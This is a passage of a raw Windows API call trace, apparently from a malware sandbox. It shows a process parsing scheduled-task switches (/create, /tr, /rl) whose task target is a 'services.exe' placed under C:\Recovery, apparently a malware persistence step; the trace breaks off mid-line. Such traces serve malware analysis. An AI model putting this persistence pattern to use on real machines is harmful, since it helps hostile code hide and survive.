SetLastError (dwErrCode=0x0) [0150.437] lstrlenW (lpString="11") returned 2 [0150.437] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0150.437] SetLastError (dwErrCode=0x490) [0150.437] SetLastError (dwErrCode=0x0) [0150.437] _memicmp (_Buf1=0x3cd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.438] lstrlenW (lpString="11") returned 2 [0150.438] lstrlenW (lpString="11") returned 2 [0150.438] lstrlenW (lpString=" \x09") returned 2 [0150.438] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0150.438] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0150.438] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0150.438] GetLastError () returned 0x0 [0150.438] lstrlenW (lpString="11") returned 2 [0150.438] lstrlenW (lpString="11") returned 2 [0150.438] GetProcessHeap () returned 0x3b0000 [0150.438] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x6) returned 0x3cc210 [0150.438] SetLastError (dwErrCode=0x0) [0150.438] SetLastError (dwErrCode=0x0) [0150.438] lstrlenW (lpString="/tr") returned 3 [0150.438] lstrlenW (lpString="-/") returned 2 [0150.438] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.438] lstrlenW (lpString="create") returned 6 [0150.438] lstrlenW (lpString="create") returned 6 [0150.438] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.438] lstrlenW (lpString="tr") returned 2 [0150.438] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.438] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|create|") returned 8 [0150.438] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.439] lstrlenW (lpString="|create|") returned 8 [0150.439] lstrlenW (lpString="|tr|") returned 4 [0150.439] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0150.439] SetLastError (dwErrCode=0x490) [0150.439] lstrlenW (lpString="?") returned 1 [0150.439] lstrlenW (lpString="?") returned 1 [0150.439] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.439] lstrlenW (lpString="tr") returned 2 [0150.439] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.439] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|?|") returned 3 [0150.439] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.439] lstrlenW (lpString="|?|") returned 3 [0150.439] lstrlenW (lpString="|tr|") returned 4 [0150.439] SetLastError (dwErrCode=0x490) [0150.439] lstrlenW (lpString="s") returned 1 [0150.439] lstrlenW (lpString="s") returned 1 [0150.439] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.439] lstrlenW (lpString="tr") returned 2 [0150.439] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.440] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|s|") returned 3 [0150.440] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.440] lstrlenW (lpString="|s|") returned 3 [0150.440] lstrlenW (lpString="|tr|") returned 4 [0150.440] SetLastError (dwErrCode=0x490) [0150.440] lstrlenW (lpString="u") returned 1 [0150.440] lstrlenW (lpString="u") returned 1 [0150.440] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.440] lstrlenW (lpString="tr") returned 2 [0150.440] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.440] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|u|") returned 3 [0150.440] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.440] lstrlenW (lpString="|u|") returned 3 [0150.440] lstrlenW (lpString="|tr|") returned 4 [0150.440] SetLastError (dwErrCode=0x490) [0150.440] lstrlenW (lpString="p") returned 1 [0150.440] lstrlenW (lpString="p") returned 1 [0150.440] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.440] lstrlenW (lpString="tr") returned 2 [0150.440] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.441] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|p|") returned 3 [0150.441] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.441] lstrlenW (lpString="|p|") returned 3 [0150.441] lstrlenW (lpString="|tr|") returned 4 [0150.441] SetLastError (dwErrCode=0x490) [0150.441] lstrlenW (lpString="ru") returned 2 [0150.441] lstrlenW (lpString="ru") returned 2 [0150.441] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.441] lstrlenW (lpString="tr") returned 2 [0150.441] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.441] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ru|") returned 4 [0150.441] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.441] lstrlenW (lpString="|ru|") returned 4 [0150.441] lstrlenW (lpString="|tr|") returned 4 [0150.441] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0150.441] SetLastError (dwErrCode=0x490) [0150.442] lstrlenW (lpString="rp") returned 2 [0150.442] lstrlenW (lpString="rp") returned 2 [0150.442] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.442] lstrlenW (lpString="tr") returned 2 [0150.442] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.442] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rp|") returned 4 [0150.442] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.442] lstrlenW (lpString="|rp|") returned 4 [0150.442] lstrlenW (lpString="|tr|") returned 4 [0150.442] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0150.442] SetLastError (dwErrCode=0x490) [0150.442] lstrlenW (lpString="sc") returned 2 [0150.442] lstrlenW (lpString="sc") returned 2 [0150.442] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.442] lstrlenW (lpString="tr") returned 2 [0150.442] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.443] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.443] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.443] lstrlenW (lpString="|sc|") returned 4 [0150.443] lstrlenW (lpString="|tr|") returned 4 [0150.443] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0150.443] SetLastError (dwErrCode=0x490) [0150.443] lstrlenW (lpString="mo") returned 2 [0150.443] lstrlenW (lpString="mo") returned 2 [0150.443] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.443] lstrlenW (lpString="tr") returned 2 [0150.443] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.443] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.443] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.443] lstrlenW (lpString="|mo|") returned 4 [0150.443] lstrlenW (lpString="|tr|") returned 4 [0150.443] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0150.443] SetLastError (dwErrCode=0x490) [0150.444] lstrlenW (lpString="d") returned 1 [0150.444] lstrlenW (lpString="d") returned 1 [0150.444] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.444] lstrlenW (lpString="tr") returned 2 [0150.444] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.444] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|d|") returned 3 [0150.444] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.444] lstrlenW (lpString="|d|") returned 3 [0150.444] lstrlenW (lpString="|tr|") returned 4 [0150.444] SetLastError (dwErrCode=0x490) [0150.444] lstrlenW (lpString="m") returned 1 [0150.444] lstrlenW (lpString="m") returned 1 [0150.444] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.444] lstrlenW (lpString="tr") returned 2 [0150.444] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.444] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|m|") returned 3 [0150.445] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.445] lstrlenW (lpString="|m|") returned 3 [0150.445] lstrlenW (lpString="|tr|") returned 4 [0150.445] SetLastError (dwErrCode=0x490) [0150.445] lstrlenW (lpString="i") returned 1 [0150.445] lstrlenW (lpString="i") returned 1 [0150.445] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.445] lstrlenW (lpString="tr") returned 2 [0150.445] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.445] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|i|") returned 3 [0150.445] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.445] lstrlenW (lpString="|i|") returned 3 [0150.445] lstrlenW (lpString="|tr|") returned 4 [0150.445] SetLastError (dwErrCode=0x490) [0150.445] lstrlenW (lpString="tn") returned 2 [0150.445] lstrlenW (lpString="tn") returned 2 [0150.445] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.445] lstrlenW (lpString="tr") returned 2 [0150.445] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.446] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.446] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.446] lstrlenW (lpString="|tn|") returned 4 [0150.446] lstrlenW (lpString="|tr|") returned 4 [0150.446] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0150.446] SetLastError (dwErrCode=0x490) [0150.446] lstrlenW (lpString="tr") returned 2 [0150.446] lstrlenW (lpString="tr") returned 2 [0150.446] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.446] lstrlenW (lpString="tr") returned 2 [0150.446] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.446] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.446] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tr|") returned 4 [0150.446] lstrlenW (lpString="|tr|") returned 4 [0150.446] lstrlenW (lpString="|tr|") returned 4 [0150.446] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0150.446] SetLastError (dwErrCode=0x0) [0150.446] SetLastError (dwErrCode=0x0) [0150.446] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.446] lstrlenW (lpString="-/") returned 2 [0150.446] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0150.446] SetLastError (dwErrCode=0x490) [0150.446] SetLastError (dwErrCode=0x490) [0150.446] SetLastError (dwErrCode=0x0) [0150.446] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.447] StrChrIW (lpStart="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'", wMatch=0x3a) returned=":\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'" [0150.447] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.447] _memicmp (_Buf1=0x3cc360, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.447] _memicmp (_Buf1=0x3cd510, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.447] SetLastError (dwErrCode=0x7a) [0150.447] SetLastError (dwErrCode=0x0) [0150.447] SetLastError (dwErrCode=0x0) [0150.447] lstrlenW (lpString="'C") returned 2 [0150.447] lstrlenW (lpString="-/") returned 2 [0150.447] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0150.447] SetLastError (dwErrCode=0x490) [0150.447] SetLastError (dwErrCode=0x490) [0150.447] SetLastError (dwErrCode=0x0) [0150.447] _memicmp (_Buf1=0x3cd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.447] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.447] GetProcessHeap () returned 0x3b0000 [0150.447] HeapValidate (hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cd590) returned 1 [0150.447] GetProcessHeap () returned 0x3b0000 [0150.447] RtlReAllocateHeap (Heap=0x3b0000, Flags=0xc, Ptr=0x3cd590, Size=0x80) returned 0x3cc2a0 [0150.447] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.447] lstrlenW (lpString=" \x09") returned 2 [0150.447] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0150.447] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0150.447] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0150.447] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0150.447] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0150.447] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0150.448] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x33) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x37) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0150.449] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0150.450] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0150.450] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0150.450] GetLastError () returned 0x0 [0150.450] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.450] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'") returned 63 [0150.450] SetLastError (dwErrCode=0x0) [0150.450] SetLastError (dwErrCode=0x0) [0150.450] lstrlenW (lpString="/rl") returned 3 [0150.450] lstrlenW (lpString="-/") returned 2 [0150.450] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.450] lstrlenW (lpString="create") returned 6 [0150.450] lstrlenW (lpString="create") returned 6 [0150.450] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.450] lstrlenW (lpString="rl") returned 2 [0150.450] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.450] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|create|") returned 8 [0150.450] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.450] lstrlenW (lpString="|create|") returned 8 [0150.450] lstrlenW (lpString="|rl|") returned 4 [0150.450] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0150.450] SetLastError (dwErrCode=0x490) [0150.450] lstrlenW (lpString="?") returned 1 [0150.450] lstrlenW (lpString="?") returned 1 [0150.450] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.450] lstrlenW (lpString="rl") returned 2 [0150.450] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.451] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|?|") returned 3 [0150.451] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.451] lstrlenW (lpString="|?|") returned 3 [0150.451] lstrlenW (lpString="|rl|") returned 4 [0150.451] SetLastError (dwErrCode=0x490) [0150.451] lstrlenW (lpString="s") returned 1 [0150.451] lstrlenW (lpString="s") returned 1 [0150.451] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.451] lstrlenW (lpString="rl") returned 2 [0150.451] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.451] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|s|") returned 3 [0150.451] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.451] lstrlenW (lpString="|s|") returned 3 [0150.451] lstrlenW (lpString="|rl|") returned 4 [0150.451] SetLastError (dwErrCode=0x490) [0150.451] lstrlenW (lpString="u") returned 1 [0150.451] lstrlenW (lpString="u") returned 1 [0150.451] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.451] lstrlenW (lpString="rl") returned 2 [0150.451] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.451] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|u|") returned 3 [0150.451] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.451] lstrlenW (lpString="|u|") returned 3 [0150.451] lstrlenW (lpString="|rl|") returned 4 [0150.451] SetLastError (dwErrCode=0x490) [0150.452] lstrlenW (lpString="p") returned 1 [0150.452] lstrlenW (lpString="p") returned 1 [0150.452] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.452] lstrlenW (lpString="rl") returned 2 [0150.452] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.452] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|p|") returned 3 [0150.452] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.452] lstrlenW (lpString="|p|") returned 3 [0150.452] lstrlenW (lpString="|rl|") returned 4 [0150.452] SetLastError (dwErrCode=0x490) [0150.452] lstrlenW (lpString="ru") returned 2 [0150.452] lstrlenW (lpString="ru") returned 2 [0150.452] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.452] lstrlenW (lpString="rl") returned 2 [0150.452] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.452] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ru|") returned 4 [0150.452] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.452] lstrlenW (lpString="|ru|") returned 4 [0150.452] lstrlenW (lpString="|rl|") returned 4 [0150.452] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0150.452] SetLastError (dwErrCode=0x490) [0150.452] lstrlenW (lpString="rp") returned 2 [0150.452] lstrlenW (lpString="rp") returned 2 [0150.452] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.453] lstrlenW (lpString="rl") returned 2 [0150.453] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.453] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rp|") returned 4 [0150.453] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.453] lstrlenW (lpString="|rp|") returned 4 [0150.453] lstrlenW (lpString="|rl|") returned 4 [0150.453] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0150.453] SetLastError (dwErrCode=0x490) [0150.453] lstrlenW (lpString="sc") returned 2 [0150.453] lstrlenW (lpString="sc") returned 2 [0150.453] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.453] lstrlenW (lpString="rl") returned 2 [0150.453] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.453] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.453] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.453] lstrlenW (lpString="|sc|") returned 4 [0150.453] lstrlenW (lpString="|rl|") returned 4 [0150.453] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0150.453] SetLastError (dwErrCode=0x490) [0150.453] lstrlenW (lpString="mo") returned 2 [0150.453] lstrlenW (lpString="mo") returned 2 [0150.453] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.453] lstrlenW (lpString="rl") returned 2 [0150.453] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.454] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.454] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rl|") returned 4 [0150.454] lstrlenW (lpString="|mo|") returned 4 [0150.454] lstrlenW (lpString="|rl|") returned 4 [0150.454] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0150.454] SetLastError (dwErrCode=0x490) [0150.454] lstrlenW (lpString="d") returned 1 [0150.454] lstrlenW (lpString="d") returned 1 [0150.454] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.454] lstrlenW (lpString="rl") returned 2 [0150.454] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.454] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|d|") returned 3 [0150.454] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", 